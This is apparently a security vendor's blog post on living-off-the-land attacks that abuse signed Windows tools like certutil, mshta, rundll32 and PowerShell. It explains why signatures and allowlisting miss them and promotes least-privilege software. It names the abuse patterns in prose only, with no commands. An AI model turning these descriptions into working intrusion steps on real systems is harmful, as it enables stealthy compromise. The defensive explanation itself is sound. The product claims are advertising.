Most endpoint security is built around one question: is this file known to be bad? Signature databases, reputation services, and threat intelligence feeds all work by spotting things that look malicious. The blind spot is what happens when the attack never brings a file to flag.
Instead of dropping a custom payload, the attacker uses what’s already on the machine: PowerShell, certutil, mshta, rundll32, WMI, and dozens of other built-in utilities. All signed by Microsoft, all used constantly for legitimate administration. The technique is called living off the land, and the tools are known as LOLBins.
CISA and its partner agencies describe living off the land as increasingly emerging across the broader threat environment. Most teams already know these binaries can be abused. What matters is why signature scanning, reputation checks, and even application allowlisting don’t fully close the gap, and what does.
Why “Signed and Trusted” Means “Wave It Through”
A LOLBin sails past the two checks most defenses rely on. It isn’t known-bad, so signature matching clears it. It’s signed by Microsoft and runs millions of times a day, so reputation scoring trusts it.
MITRE ATT&CK catalogs the abuse under System Binary Proxy Execution: attackers proxy malicious execution through signed, trusted binaries to bypass process and signature-based defenses. The file isn’t the malicious part. What matters is the instruction it’s handed at runtime, which static inspection never sees.
The approach is also cheap. CISA’s joint guidance notes that living off the land stays effective with little to no investment in tooling, because so many organizations can’t tell legitimate use from abuse. There’s no malware to build and test against detection engines. The attacker just needs credentials and tools that are already there.
Volt Typhoon shows what this looks like at the top end. When CISA, the NSA, and the FBI detailed the campaign against U.S. critical infrastructure, they described state-sponsored actors using these techniques to blend in with normal system activity and evade network defenses. One documented step used netsh, a legitimate Windows command, to quietly redirect traffic to attacker infrastructure. No malware file ever touched disk.
The Detection-Evasion Mechanics
What makes LOLBins so durable is that the abuse usually looks like the tool’s normal job, just pointed somewhere bad. A few common patterns:
- certutil manages certificates, but it can also download files from the internet and decode base64, making it a tidy way to pull a payload onto a machine without a browser or a flagged downloader.
- mshta runs HTML applications, so it can execute script hosted in a local file or at a URL.
- rundll32 and regsvr32 load and run code from libraries, so a malicious DLL or remote script gets executed by a process Windows fully trusts.
- PowerShell can fetch and run code entirely in memory, leaving little on disk to scan in the first place.
In each case the parent process is trusted, the binary is signed, and the command line is where the real intent lives. That’s the crux of the evasion. Distinguishing malicious use from legitimate use means looking at context (what called the tool, what arguments it received, what it connected to, whether that pattern is normal for this machine), not just identity.
MITRE’s own detection guidance leans on exactly this, recommending defenders compare recent invocations of signed binaries against a history of known-good arguments to spot anomalies, then correlate that with other suspicious behavior to cut false positives. It’s doable, but it’s a behavioral problem, and it demands the baselines, logging, and analytics that many environments simply haven’t built, which is why so much LOLBin activity sails through quietly.
Where Allowlisting Helps, and Where It Doesn’t
Application allowlisting (also called application control) is one of the strongest preventive controls available. Instead of identifying what’s bad, it flips the model: only approved software runs, and everything else is denied by default. An attacker’s custom payload never executes because it isn’t on the list. For unapproved tools and bespoke malware, that’s genuinely effective.
LOLBins evade it because the abused binaries are already on the allowlist by necessity. PowerShell, rundll32, and WMI are core operating system components that legitimate administration, scripting, and third-party software depend on; you can’t block them across a fleet. Allowlisting also makes its decision before the binary runs, based on signature, publisher, or file path. The malicious payload arrives at runtime, loaded by the approved tool, which basic application control can’t inspect without additional layers like script enforcement or attack surface reduction rules.
Least Privilege: Limiting the Damage a Trusted Tool Can Do
If you can’t reliably block the binary, and you can’t always detect the abuse in the moment, a more useful question is this: when an attacker does run a trusted tool maliciously, how much can they accomplish with it?
That depends heavily on the privileges of the account running it. Many of the high-impact actions attackers pursue require administrative rights:
- Installing services or scheduled tasks for persistence
- Disabling or tampering with security software
- Modifying protected system settings and registry keys
- Dumping credentials from protected memory
- Moving laterally with elevated access
A LOLBin running in a standard user context can still do harm, but its reach is far more limited than the same tool running with standing local admin rights. This is where endpoint privilege management earns its place. Admin By Request’s Endpoint Privilege Management solution removes standing local administrator rights and grants elevation just-in-time: only when it’s needed, and only for specific approved tasks. Take admin rights off the account and an abused binary inherits far less to work with.
Layers, Not a Silver Bullet
Living off the land works because it turns your own trusted tools against you, and no single control makes that problem disappear. The realistic defense is overlapping layers, each covering what the others miss:
- Behavioral detection and good logging give you a chance to spot the abuse, by flagging the unusual command line or the odd parent-child process relationship that signature scanning ignores.
- Application control shrinks what can run at all, even if it can’t block the system binaries themselves.
- Least privilege limits what an abused binary can achieve once it executes, by removing the standing admin rights so many damaging techniques rely on.
Strip away the standing privileges and you won’t stop every LOLBin technique, but you take a lot of teeth out of the ones that matter most. The reasonable goal isn’t catching the uncatchable. It’s a smaller attack surface and a tightly limited blast radius when something does slip through.
If removing standing local admin rights across your environment sounds like a sensible layer to add, you can try Admin By Request EPM on our free plan, which covers up to 25 endpoints with full features, free forever.
Frequently Asked Questions
What is a LOLBin?
A LOLBin (living-off-the-land binary) is a legitimate, signed executable already present on a system that an attacker abuses to carry out malicious activity. On Windows, common examples include PowerShell, certutil, mshta, rundll32, regsvr32, and WMI. Because the binaries themselves are trusted and ship with the operating system, attackers use them to run code, download payloads, and move through a network without bringing any malware of their own.
Why don’t antivirus and EDR tools catch LOLBin attacks?
Traditional antivirus and reputation-based tools work by spotting known-bad files. A LOLBin is a known-good file, signed by Microsoft and used legitimately every day, so it clears those checks. EDR tools that watch process behavior can detect some abuse, but only if they have the baselines and command-line logging to spot unusual arguments or process chains. Many environments don’t, which is why a lot of LOLBin activity goes unnoticed.
Does application allowlisting stop LOLBins?
No, not on its own. Allowlisting blocks software that isn’t on the approved list, but the binaries attackers abuse are usually already approved out of operational necessity. PowerShell and WMI can’t be blocked across a Windows fleet without breaking legitimate work. Allowlisting also makes its decision before the binary runs, while the malicious instruction arrives at runtime. It remains a worthwhile control, but it doesn’t close this specific gap by itself.
Can I just disable PowerShell to stop these attacks?
In most environments, no. PowerShell is too widely used by administrators, scripts, and software for outright removal to be practical. What helps more is constraining how it runs: enabling PowerShell Constrained Language Mode, requiring signed scripts, turning on full script-block logging, and removing the standing local admin rights that let an abused PowerShell session do real damage.
How does removing local admin rights help if the binary still runs?
The binary will still execute, but most high-impact attacker techniques (installing services for persistence, disabling security tools, dumping credentials, lateral movement with elevated access) need administrative privileges. A LOLBin running in a standard user context can still cause problems, but its reach is far smaller than the same tool running with standing local admin rights. Least privilege doesn’t stop the abuse; it caps what the abuse can accomplish.
Is this the same problem as fileless malware?
The two overlap heavily but aren’t identical. Fileless malware refers to attacks that operate in memory rather than writing executables to disk, often using trusted binaries like PowerShell to load and run code. Living off the land is broader, covering any abuse of legitimate built-in tools, including techniques that do write to disk. Most fileless attacks are living-off-the-land attacks, but not every living-off-the-land technique is fileless.
